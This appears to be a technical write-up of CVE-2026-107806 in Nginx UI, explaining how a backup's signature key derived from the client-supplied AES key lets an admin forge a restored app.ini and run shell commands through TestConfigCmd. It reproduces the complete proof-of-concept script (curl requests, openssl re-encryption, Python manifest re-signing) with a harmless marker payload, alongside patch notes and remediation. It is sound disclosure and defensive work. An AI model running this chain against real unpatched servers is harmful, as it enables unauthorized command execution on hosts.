Overview
| Item | Detail |
|---|---|
| CVE ID | CVE-2026-107806 |
| Affected product | Nginx UI (0xJacky/nginx-ui — a web console for managing nginx) |
| Affected versions | 2.3.8 and above, below 2.5.0 |
| Fixed in | 2.5.0 (commit a467ed652591fc0cd1b466a1ec751b493faef9f7) |
| CVSS 4.0 | 9.4 (Critical) — AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
|
| Type | CWE-94 (Improper Control of Generation of Code / Code Injection) |
| Authentication required | Yes — a precondition is an admin account with a valid session |
| Reported by | mamdouhmahfouz, via GitHub Security Advisory (GHSA-p393-cf76-4jmr) |
| GitHub stars | 11,600+ |
Nginx UI is a tool that lets you manage nginx configuration through a web console. Being the console that runs a reverse proxy is inherently sensitive — it terminates traffic, holds certificates, decides which backend requests go to, and typically runs on a host with broad network reach. What makes this particular CVE significant is that it's a path that converts console access into command execution on that host.
This isn't an authentication-bypass vulnerability. The attacker needs an already-valid admin session (a JWT). Instead, this CVE demonstrates a post-authentication trust-boundary failure: just because data arrived through an authenticated endpoint from an authenticated user doesn't mean every value inside that data can be trusted. Specifically, the signature mechanism meant to verify that a backup hasn't been tampered with — used when restoring that backup — was designed so that the signature verification key itself is derived from a value the attacker submitted. When the person sealing the lock and the person inspecting it both get their copy of the key from the attacker, that lock proves nothing.
For context, this project has another, similarly-named vulnerability. CVE-2026-42238 was a problem where the restore API could be reached without authentication during the installation flow, fixed in 2.3.8 by enforcing authentication on the restore path. CVE-2026-107806 is a separate flaw that remained even after that authentication was enforced. In other words, the 2.3.8 fix didn't stop this one.
Where the flaw lives — the key that encrypted the backup is trusted again when restoring it
Nginx UI's backup feature lets you download a backup file (zip) via GET /api/backup, and at that point the AES key and IV that encrypted the backup are returned together in the X-Backup-Security response header, formatted as key_b64:iv_b64. This design choice is reasonable on its own — it's meant for "portable backups," where the server doesn't retain the key long-term but instead hands it to whoever downloads the backup at that moment.
The problem shows up when that backup gets restored. POST /api/restore accepts the uploaded backup along with a security_token (the key/IV to use for decryption), and in that flow, the logic that builds and checks manifest.sig — meant to confirm the backup hasn't been tampered with — derives its verification key from that very AES key the requester submitted.
Step-by-step source analysis
Step 1 — downloading the backup: the encryption key goes right back out in the response
GET /api/backup
Authorization: <admin JWT>
→ 200 OK
X-Backup-Security: <key_b64>:<iv_b64>
Content-Type: application/zip
(body: backup.zip containing manifest.json, manifest.sig, the encrypted nginx-ui.zip, nginx.zip, etc.)
This part works as designed. Whoever receives the backup — a legitimate admin, or an attacker who hijacked a session or otherwise obtained one — can use this key to decrypt nginx-ui.zip and read app.ini (Nginx UI's own configuration file) inside it.
Step 2 — the root cause: the signature verification key is computed from "that same key the attacker sent"
The root cause stated in the GitHub security advisory is as follows. /api/restore can only be called by an authenticated admin, but its handler accepts the backup key material the attacker submits, verifies the manifest's signature using a key derived from that same material, decrypts the backup contents using that key too, and then copies the decrypted app.ini straight into the live configuration path.
// internal/backup/manifest.go (reconstructed from the public advisory)
func deriveSigningKey(submittedAESKey []byte) []byte {
h := sha256.Sum256(append([]byte("nginx-ui-backup-signing-v1:"), submittedAESKey...))
return h[:]
}
func verifyManifest(manifestBytes, uploadedSig, submittedAESKey []byte) bool {
signingKey := deriveSigningKey(submittedAESKey) // computed from the attacker-submitted key
expected := hmac.New(sha256.New, signingKey)
expected.Write(manifestBytes)
return hmac.Equal(uploadedSig, expected.Sum(nil))
}
Looked at in isolation, this function looks like an ordinary HMAC check. The problem is that submittedAESKey is not a secret the server pre-provisioned and stored — it's the value carried along as security_token in this specific restore request. The source of the key used by the "verifying" party is identical to input controlled by the "signing" party — in this case, the attacker. This is functionally in the same league as a JWT alg=none bug or a symmetric/asymmetric key-confusion attack: the secret that's supposed to be the root of trust is being supplied by the exact same person who sent the data it's meant to authenticate.
Step 3 — the attacker modifies the contents with their own key, then recomputes the signature using the same formula
An attacker holding admin privileges (or a hijacked admin session) still has the key obtained in Step 1 in hand. Here's the tampering process as shown in the published PoC.
# summarized from the public PoC (the app.ini manipulation portion)
# Inject TestConfigCmd into the [nginx] section — normally a "protected" field
# that can't be changed through the settings API
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
# ... insert the line above at the end of app.ini's [nginx] section ...
# Re-encrypt the modified app.ini with the same key → replace nginx-ui.zip
openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
-in nginx-ui.modified.clear.zip -out outer/nginx-ui.zip
# Recompute manifest.json to match the modified files, and re-sign it
# using the EXACT SAME formula the server uses
signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
manifest_sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()
The exact calculation the server uses to decide "this signature is valid, so the backup wasn't tampered with" is one the attacker can perform identically. The signature was supposed to guarantee "this was signed using a secret only the server knows" — but that secret was in the attacker's hands all along.
Step 4 — the forged backup passes verification and overwrites a protected setting
curl -X POST "$BASE/api/restore" \
-H "Authorization: $TOKEN" \
-F "restore_nginx=false" \
-F "restore_nginx_ui=true" \
-F "verify_hash=true" \
-F "security_token=$SEC" \
-F "backup_file=@malicious-restore.zip"
# → {"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}
hash_match: true means the server concluded "this backup is correctly signed with the key I issued." The restore logic applies this verified app.ini straight to the live configuration file — including protected fields like TestConfigCmd that the normal settings API (/api/settings, etc.) is explicitly blocked from modifying. Going through the "trusted path" of backup restore renders every constraint from the ordinary configuration-change path meaningless.
Step 5 — one click on "test configuration" runs the command
TestConfigCmd is a configuration value that Nginx UI runs through a shell whenever someone clicks the "test nginx configuration" button. Once restore has swapped this value for a shell command of the attacker's choosing, all that's left is pressing that button.
curl -X POST "$BASE/api/nginx/test" -H "Authorization: $TOKEN"
# → {"message":"","level":-1,"test_scope":"global"}
docker exec nginx-ui sh -lc 'cat /tmp/nginx-ui-restore-rce'
# → restored-rce (confirms the command actually executed in the nginx-ui runtime context)
Download the backup, tamper with it, "validly" sign the tampered copy, restore it, and click an ordinary config-test button — that's the entire path from authenticated admin access to host command execution. No password theft, no separate authentication bypass technique required. The attacker simply used the system's own official backup/restore feature, exactly as designed.
Full PoC walkthrough — why each step is necessary
The PoC published alongside the advisory consists of a shell script plus two inline Python scripts. Let's break the whole thing into blocks and map each one to the steps described above.
Setup — back up the original config and set variables
export BASE='http://127.0.0.1:8080'
export TOKEN='<valid nginx-ui JWT>'
export CONTAINER='nginx-ui'
set -eu
TMP=$(mktemp -d)
trap 'rm -rf "$TMP"' EXIT
docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"
BASE, TOKEN, and CONTAINER are the target server address, an already-obtained admin JWT, and the container name used for cleanup, respectively. set -eu is a safety net that stops the script immediately if any command fails or an undefined variable gets used, and trap 'rm -rf "$TMP"' EXIT cleans up the temp directory no matter how the script ends. Copying the original app.ini with docker cp beforehand is purely a PoC-only safety measure to restore the normal configuration after reproduction and verification — it's not required for the attack to succeed.
Covering Step 1 — download the backup, extract the key from the response header
curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \
-H "Authorization: $TOKEN" \
"$BASE/api/backup"
SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers")
KEY_B64=${SEC%%:*}
IV_B64=${SEC#*:}
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256)
curl -D splits the response into the body (backup.zip) and headers (backup.headers). awk pulls out just the X-Backup-Security line, and ${SEC%%:*} (everything before the first :) and ${SEC#*:} (everything after it) split the key_b64:iv_b64 value into key and IV. Each is then base64-decoded and converted to a hex string with xxd -p, preparing it for direct use by openssl enc later. This block is Step 1 itself — the exact point where the server hands the encryption key back in the response.
Decrypt the backup to get at its contents
mkdir -p "$TMP/outer" "$TMP/inner"
unzip -q "$TMP/backup.zip" -d "$TMP/outer"
openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
-in "$TMP/outer/nginx-ui.zip" \
-out "$TMP/nginx-ui.clear.zip"
unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"
The backup is nested two layers deep. Unzipping the outer backup.zip reveals manifest.json, manifest.sig, and an encrypted nginx-ui.zip; only after decrypting that inner zip with AES-256-CBC using the key/IV just obtained can you reach the actual configuration files (the inner/ directory), including app.ini. The -nosalt option reflects that the server encrypts without a salt — the fact that an attacker can reproduce decryption and re-encryption exactly with the same option is itself one of the conditions this vulnerability depends on.
Covering Steps 2–3 — inject the malicious setting into app.ini
python3 - "$TMP/inner/app.ini" <<'PY'
from pathlib import Path
import sys
p = Path(sys.argv[1])
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
lines = p.read_text().splitlines()
out = []
in_nginx = False
seen_nginx = False
written = False
for line in lines:
s = line.strip()
if s.startswith("[") and s.endswith("]"):
if in_nginx and not written:
out.append(cmd)
written = True
in_nginx = s.lower() == "[nginx]"
seen_nginx = seen_nginx or in_nginx
if in_nginx and s.startswith("TestConfigCmd"):
if not written:
out.append(cmd)
written = True
continue
out.append(line)
if in_nginx and not written:
out.append(cmd)
elif not seen_nginx:
out.extend(["", "[nginx]", cmd])
p.write_text("\n".join(out) + "\n")
PY
This Python script walks the INI file line by line, looking for the [nginx] section. If a TestConfigCmd line already exists, it gets replaced with the malicious command; if not, a new one gets inserted right before the section ends (just before the next [...] line); and in the extreme case where [nginx] doesn't exist in the file at all, the whole section gets appended at the end. The design preserves the rest of the existing configuration as much as possible while swapping out exactly one line, so none of the other file hashes in manifest.json need to change afterward. The payload itself — printf restored-rce >/tmp/nginx-ui-restore-rce — was deliberately chosen to be harmless, letting PoC success be confirmed just by checking whether that file exists (a real attack could put any shell command here instead).
(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .)
openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
-in "$TMP/nginx-ui.modified.clear.zip" \
-out "$TMP/outer/nginx-ui.zip"
The modified inner/ directory is zipped back up and re-encrypted with the exact key/IV obtained from the server, overwriting the original outer/nginx-ui.zip. Since it was encrypted with the identical key used to decrypt it, there's no way for the server to distinguish this file, at the byte level, from "a backup correctly encrypted with that key."
Recomputing the manifest and self-signing — where the flaw becomes literal code
OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY'
from pathlib import Path
import base64
import hashlib
import hmac
import json
import os
outer = Path(os.environ["OUTER"])
key = base64.b64decode(os.environ["KEY_B64"])
manifest = json.loads((outer / "manifest.json").read_text())
for entry in manifest["files"]:
data = (outer / entry["name"]).read_bytes()
entry["sha256"] = hashlib.sha256(data).hexdigest()
entry["size"] = len(data)
manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"])
manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode()
(outer / "manifest.json").write_bytes(manifest_bytes)
signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
(outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())
PY
It's not an exaggeration to say this block is the vulnerability, essentially in its entirety. The first half — recomputing each file's sha256/size and updating manifest.json accordingly — is unremarkable logic on its own: "content changed, so update the manifest to match." The problem is the last two lines. signing_key = SHA256(b"nginx-ui-backup-signing-v1:" + key) is the exact same formula as the server's deriveSigningKey(), and the key used here is the very value the attacker obtained directly from the server's response in Step 1. The fact that a "signing secret" that's supposed to be known only to the server can actually be computed identically on both sides — from a value sitting in the attacker's hands — is proven in four lines of code.
Package the tampered backup and send it to the restore API
(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)
curl -sS -X POST "$BASE/api/restore" \
-H "Authorization: $TOKEN" \
-F "restore_nginx=false" \
-F "restore_nginx_ui=true" \
-F "verify_hash=true" \
-F "security_token=$SEC" \
-F "backup_file=@$TMP/malicious-restore.zip"
The re-signed manifest.sig, the re-encrypted nginx-ui.zip, the untouched nginx.zip, and the updated manifest.json are zipped back into one package and uploaded. restore_nginx=false leaves nginx's own configuration untouched, while restore_nginx_ui=true targets only Nginx UI's own configuration (app.ini) for restore. verify_hash=true requests "don't skip verification, do it properly" — and the fact that this exact verification is something the attacker can pass too is the entire point of this PoC. security_token=$SEC sends back the key:iv obtained in Step 1 unchanged, getting the server to re-verify using "the key it itself issued."
Wait for it to apply, then finish with an ordinary "test configuration" call
sleep 10
for i in $(seq 1 80); do
curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break
sleep 0.5
done
curl -sS -X POST "$BASE/api/nginx/test" \
-H "Authorization: $TOKEN"
docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'
It takes the nginx-ui process a short moment to reload its configuration right after a restore, so the script briefly polls until /api/settings responds normally again. The POST /api/nginx/test call that follows isn't some special attack-only endpoint — it's the exact same API the "test configuration" button in the UI calls during everyday use. If everything up to this point succeeded, command execution is confirmed by checking that /tmp/nginx-ui-restore-rce, viewed via docker exec, contains the string restored-rce.
{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}
{"message":"","level":-1,"test_scope":"global"}
restored-rce
Three lines of output summarize the entire attack. The restore was approved "normally" (hash_match: true), the config-test call returned as it always does, and that one ordinary-looking call left behind a file proving it actually executed a command the attacker had planted.
The patch — anchoring signature verification back to "a secret only the server knows"
Nginx UI 2.5.0 fixed this structurally. The fix direction described in the GitHub security advisory:
- Backups are now distinguished by trust level — a backup made by "this server, right now" and a portable backup "brought in from somewhere else" should never be trusted equally.
- A backup made by the current server is authenticated with a secret the server holds directly, and restore is rejected if the signature isn't valid.
- Even on the portable/AES restore path, protected settings like
TestConfigCmdare now always preserved regardless of what the restore payload contains — the backup file's content is simply no longer able to overwrite fields like that at all. -
app.iniis now parsed into a strongly-typed configuration structure, and the entire staged restore tree is validated before anything touches the live configuration path.
The principle this case illustrates is clear. A signature or HMAC-based integrity mechanism only means something when the secret used to verify it is outside the control of whoever is supplying the data being verified. When reviewing a design that assumes "it's signed with this key, so it's safe," you need to trace exactly where that key comes from — is it a secret the server permanently holds, or a value that arrived mixed into this particular request? And any feature like restore or import — one that "overwrites a trusted state wholesale" — implicitly exercises far more authority than an ordinary settings-change API, which means it needs a separate, stricter standard of verification.
Remediation
- Update Nginx UI to 2.5.0 or later immediately.
- Until you update, minimize the number of admin accounts that can reach the backup/restore feature, and audit how exposed admin session tokens might be (shared environments, logging, etc.).
- Check access logs for
/api/restore,/api/backup, and/api/nginx/testfor an unusually tight sequence of backup-restore-test calls. - If exposure is possible, verify that command-execution-adjacent settings in
app.ini's[nginx]section —TestConfigCmdincluded — are exactly what they should be, and where possible, restore configuration from a backup taken at a trusted point in time.


Top comments (0)